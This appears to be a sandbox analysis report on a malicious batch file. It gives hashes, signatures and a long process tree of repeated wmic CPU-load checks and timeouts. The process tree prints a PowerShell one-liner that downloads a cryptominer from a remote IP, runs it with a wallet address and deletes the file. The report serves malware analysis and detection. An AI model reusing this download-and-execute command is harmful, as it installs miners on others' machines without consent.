Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
150s -
max time network
151s -
platform
windows10-2004_x64 -
resource
win10v2004-20240508-en -
resource tags
arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system -
submitted
01/07/2024, 12:15
Static task
static1
Behavioral task
behavioral1
Sample
7605199782273.bat
Resource
win10-20240611-en
Behavioral task
behavioral2
Sample
7605199782273.bat
Resource
win10v2004-20240508-en
Behavioral task
behavioral3
Sample
7605199782273.bat
Resource
win11-20240508-en
General
-
Target
7605199782273.bat
-
Size
521B
-
MD5
e7bb44f7a40faf04de6eef414aeaac68
-
SHA1
feab06aa47a6b34a30085726103a58ea2d6ccf77
-
SHA256
1581804de8f5a5e4d6e0c0a6df326992b874d4d55c4c4d5e795c80f6f1c4c0ad
-
SHA512
3553e5a1fa4349a75aa0a4a61c833be8ae9d6fa10b3c4da49771e845938585fbd376277f976ff24ad91439be1f32d11ce6270761d7851a959903a6be575a0009
Malware Config
Extracted
http://94.177.244.107:3000/miner
Signatures
-
Blocklisted process makes network request 1 IoCs
flow pid Process 2 208 powershell.exe -
pid Process 208 powershell.exe -
Delays execution with timeout.exe 64 IoCs
pid Process 4364 timeout.exe 4772 timeout.exe 1676 timeout.exe 1864 timeout.exe 5100 timeout.exe 2924 timeout.exe 3092 timeout.exe 3508 timeout.exe 3504 timeout.exe 3364 timeout.exe 1772 timeout.exe 4324 timeout.exe 4276 timeout.exe 2172 timeout.exe 5008 timeout.exe 2176 timeout.exe 5028 timeout.exe 5080 timeout.exe 3948 timeout.exe 1672 timeout.exe 4808 timeout.exe 4300 timeout.exe 3592 timeout.exe 4856 timeout.exe 4868 timeout.exe 2532 timeout.exe 1824 timeout.exe 4276 timeout.exe 1864 timeout.exe 4788 timeout.exe 816 timeout.exe 3928 timeout.exe 4572 timeout.exe 3508 timeout.exe 4140 timeout.exe 4316 timeout.exe 768 timeout.exe 1288 timeout.exe 972 timeout.exe 3104 timeout.exe 4772 timeout.exe 3984 timeout.exe 3012 timeout.exe 4356 timeout.exe 4444 timeout.exe 3184 timeout.exe 3820 timeout.exe 964 timeout.exe 3304 timeout.exe 2100 timeout.exe 2904 timeout.exe 2692 timeout.exe 1040 timeout.exe 1708 timeout.exe 1352 timeout.exe 4908 timeout.exe 1976 timeout.exe 1068 timeout.exe 3492 timeout.exe 3004 timeout.exe 5104 timeout.exe 4976 timeout.exe 3748 timeout.exe 2628 timeout.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 208 powershell.exe 208 powershell.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 208 powershell.exe Token: SeIncreaseQuotaPrivilege 3220 WMIC.exe Token: SeSecurityPrivilege 3220 WMIC.exe Token: SeTakeOwnershipPrivilege 3220 WMIC.exe Token: SeLoadDriverPrivilege 3220 WMIC.exe Token: SeSystemProfilePrivilege 3220 WMIC.exe Token: SeSystemtimePrivilege 3220 WMIC.exe Token: SeProfSingleProcessPrivilege 3220 WMIC.exe Token: SeIncBasePriorityPrivilege 3220 WMIC.exe Token: SeCreatePagefilePrivilege 3220 WMIC.exe Token: SeBackupPrivilege 3220 WMIC.exe Token: SeRestorePrivilege 3220 WMIC.exe Token: SeShutdownPrivilege 3220 WMIC.exe Token: SeDebugPrivilege 3220 WMIC.exe Token: SeSystemEnvironmentPrivilege 3220 WMIC.exe Token: SeRemoteShutdownPrivilege 3220 WMIC.exe Token: SeUndockPrivilege 3220 WMIC.exe Token: SeManageVolumePrivilege 3220 WMIC.exe Token: 33 3220 WMIC.exe Token: 34 3220 WMIC.exe Token: 35 3220 WMIC.exe Token: 36 3220 WMIC.exe Token: SeIncreaseQuotaPrivilege 3220 WMIC.exe Token: SeSecurityPrivilege 3220 WMIC.exe Token: SeTakeOwnershipPrivilege 3220 WMIC.exe Token: SeLoadDriverPrivilege 3220 WMIC.exe Token: SeSystemProfilePrivilege 3220 WMIC.exe Token: SeSystemtimePrivilege 3220 WMIC.exe Token: SeProfSingleProcessPrivilege 3220 WMIC.exe Token: SeIncBasePriorityPrivilege 3220 WMIC.exe Token: SeCreatePagefilePrivilege 3220 WMIC.exe Token: SeBackupPrivilege 3220 WMIC.exe Token: SeRestorePrivilege 3220 WMIC.exe Token: SeShutdownPrivilege 3220 WMIC.exe Token: SeDebugPrivilege 3220 WMIC.exe Token: SeSystemEnvironmentPrivilege 3220 WMIC.exe Token: SeRemoteShutdownPrivilege 3220 WMIC.exe Token: SeUndockPrivilege 3220 WMIC.exe Token: SeManageVolumePrivilege 3220 WMIC.exe Token: 33 3220 WMIC.exe Token: 34 3220 WMIC.exe Token: 35 3220 WMIC.exe Token: 36 3220 WMIC.exe Token: SeIncreaseQuotaPrivilege 3784 WMIC.exe Token: SeSecurityPrivilege 3784 WMIC.exe Token: SeTakeOwnershipPrivilege 3784 WMIC.exe Token: SeLoadDriverPrivilege 3784 WMIC.exe Token: SeSystemProfilePrivilege 3784 WMIC.exe Token: SeSystemtimePrivilege 3784 WMIC.exe Token: SeProfSingleProcessPrivilege 3784 WMIC.exe Token: SeIncBasePriorityPrivilege 3784 WMIC.exe Token: SeCreatePagefilePrivilege 3784 WMIC.exe Token: SeBackupPrivilege 3784 WMIC.exe Token: SeRestorePrivilege 3784 WMIC.exe Token: SeShutdownPrivilege 3784 WMIC.exe Token: SeDebugPrivilege 3784 WMIC.exe Token: SeSystemEnvironmentPrivilege 3784 WMIC.exe Token: SeRemoteShutdownPrivilege 3784 WMIC.exe Token: SeUndockPrivilege 3784 WMIC.exe Token: SeManageVolumePrivilege 3784 WMIC.exe Token: 33 3784 WMIC.exe Token: 34 3784 WMIC.exe Token: 35 3784 WMIC.exe Token: 36 3784 WMIC.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 924 wrote to memory of 208 924 cmd.exe 82 PID 924 wrote to memory of 208 924 cmd.exe 82 PID 924 wrote to memory of 3648 924 cmd.exe 83 PID 924 wrote to memory of 3648 924 cmd.exe 83 PID 3648 wrote to memory of 3220 3648 cmd.exe 84 PID 3648 wrote to memory of 3220 3648 cmd.exe 84 PID 924 wrote to memory of 2904 924 cmd.exe 86 PID 924 wrote to memory of 2904 924 cmd.exe 86 PID 924 wrote to memory of 2252 924 cmd.exe 87 PID 924 wrote to memory of 2252 924 cmd.exe 87 PID 2252 wrote to memory of 3784 2252 cmd.exe 88 PID 2252 wrote to memory of 3784 2252 cmd.exe 88 PID 924 wrote to memory of 1864 924 cmd.exe 89 PID 924 wrote to memory of 1864 924 cmd.exe 89 PID 924 wrote to memory of 4208 924 cmd.exe 90 PID 924 wrote to memory of 4208 924 cmd.exe 90 PID 4208 wrote to memory of 1264 4208 cmd.exe 91 PID 4208 wrote to memory of 1264 4208 cmd.exe 91 PID 924 wrote to memory of 5100 924 cmd.exe 92 PID 924 wrote to memory of 5100 924 cmd.exe 92 PID 924 wrote to memory of 3812 924 cmd.exe 93 PID 924 wrote to memory of 3812 924 cmd.exe 93 PID 3812 wrote to memory of 4020 3812 cmd.exe 94 PID 3812 wrote to memory of 4020 3812 cmd.exe 94 PID 924 wrote to memory of 2924 924 cmd.exe 95 PID 924 wrote to memory of 2924 924 cmd.exe 95 PID 924 wrote to memory of 1268 924 cmd.exe 97 PID 924 wrote to memory of 1268 924 cmd.exe 97 PID 1268 wrote to memory of 2408 1268 cmd.exe 98 PID 1268 wrote to memory of 2408 1268 cmd.exe 98 PID 924 wrote to memory of 4772 924 cmd.exe 99 PID 924 wrote to memory of 4772 924 cmd.exe 99 PID 924 wrote to memory of 3032 924 cmd.exe 100 PID 924 wrote to memory of 3032 924 cmd.exe 100 PID 3032 wrote to memory of 4932 3032 cmd.exe 101 PID 3032 wrote to memory of 4932 3032 cmd.exe 101 PID 924 wrote to memory of 2692 924 cmd.exe 102 PID 924 wrote to memory of 2692 924 cmd.exe 102 PID 924 wrote to memory of 1896 924 cmd.exe 103 PID 924 wrote to memory of 1896 924 cmd.exe 103 PID 1896 wrote to memory of 1536 1896 cmd.exe 104 PID 1896 wrote to memory of 1536 1896 cmd.exe 104 PID 924 wrote to memory of 1772 924 cmd.exe 107 PID 924 wrote to memory of 1772 924 cmd.exe 107 PID 924 wrote to memory of 1824 924 cmd.exe 109 PID 924 wrote to memory of 1824 924 cmd.exe 109 PID 1824 wrote to memory of 2152 1824 cmd.exe 110 PID 1824 wrote to memory of 2152 1824 cmd.exe 110 PID 924 wrote to memory of 5080 924 cmd.exe 111 PID 924 wrote to memory of 5080 924 cmd.exe 111 PID 924 wrote to memory of 1792 924 cmd.exe 112 PID 924 wrote to memory of 1792 924 cmd.exe 112 PID 1792 wrote to memory of 2440 1792 cmd.exe 113 PID 1792 wrote to memory of 2440 1792 cmd.exe 113 PID 924 wrote to memory of 4788 924 cmd.exe 115 PID 924 wrote to memory of 4788 924 cmd.exe 115 PID 924 wrote to memory of 4140 924 cmd.exe 116 PID 924 wrote to memory of 4140 924 cmd.exe 116 PID 4140 wrote to memory of 3144 4140 cmd.exe 117 PID 4140 wrote to memory of 3144 4140 cmd.exe 117 PID 924 wrote to memory of 3092 924 cmd.exe 118 PID 924 wrote to memory of 3092 924 cmd.exe 118 PID 924 wrote to memory of 2568 924 cmd.exe 120 PID 924 wrote to memory of 2568 924 cmd.exe 120
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\7605199782273.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:924 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$wc = New-Object System.Net.WebClient; $tempfile = [System.IO.Path]::GetTempFileName(); $tempfile += '.bat'; $wc.DownloadFile('http://94.177.244.107:3000/miner', $tempfile); & $tempfile 42cRnHwcKM6bmza8jmWyvWB2tjAcxQGmJ1QHhJ9ae55qRx488q6cvAU42EKkEiEd2N9TE1UjNViUSNVqV1NJ17R79fDhjVL; Remove-Item -Force $tempfile"2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:208
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
- Suspicious use of WriteProcessMemory
PID:3648 -
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
- Suspicious use of AdjustPrivilegeToken
PID:3220
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:2904
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
- Suspicious use of WriteProcessMemory
PID:2252 -
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
- Suspicious use of AdjustPrivilegeToken
PID:3784
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1864
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
- Suspicious use of WriteProcessMemory
PID:4208 -
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1264
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:5100
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
- Suspicious use of WriteProcessMemory
PID:3812 -
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4020
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:2924
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
- Suspicious use of WriteProcessMemory
PID:1268 -
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2408
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4772
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
- Suspicious use of WriteProcessMemory
PID:3032 -
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4932
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:2692
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
- Suspicious use of WriteProcessMemory
PID:1896 -
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1536
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1772
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
- Suspicious use of WriteProcessMemory
PID:1824 -
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2152
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:5080
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
- Suspicious use of WriteProcessMemory
PID:1792 -
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2440
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4788
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
- Suspicious use of WriteProcessMemory
PID:4140 -
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3144
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3092
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2568
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2900
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3820
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2392
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:784
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3948
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4900
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4016
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3508
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2696
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4396
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3004
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4304
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4568
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4856
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2296
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4128
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1352
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2256
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5024
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3504
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2028
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1156
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4276
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3152
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4804
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:816
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2792
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1756
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3928
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3332
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3132
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4908
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2436
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2096
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1288
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4172
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3856
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4868
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2484
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2412
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3984
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1368
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3028
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:2532
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2292
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4712
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3012
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3412
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:376
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1976
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1980
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4872
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:972
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1256
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1856
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1824
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4120
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4132
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:964
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4788
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2872
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4140
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3688
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:64
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4364
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:872
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2568
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4324
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1920
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4636
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1068
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4704
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2392
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:5104
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2312
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4900
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4572
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3516
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2696
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1672
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4568
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4288
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3364
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3992
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3016
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4356
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3348
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2752
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4976
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1480
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2940
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4276
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4668
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4512
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4444
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:208
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3300
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3492
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2904
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4064
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1040
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:720
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3784
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1864
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4208
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4640
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3184
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2184
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2364
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4316
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2924
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1368
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4772
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4728
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2408
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3304
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:512
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4932
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1676
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2584
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1980
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4808
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4928
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4812
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3748
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4952
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2400
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:2100
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3484
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1792
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3104
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2844
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4788
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:2172
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2272
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3696
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:5008
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5088
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3820
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1708
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2852
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3920
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:2176
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1592
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1096
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:5028
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2392
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1184
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3508
-
-
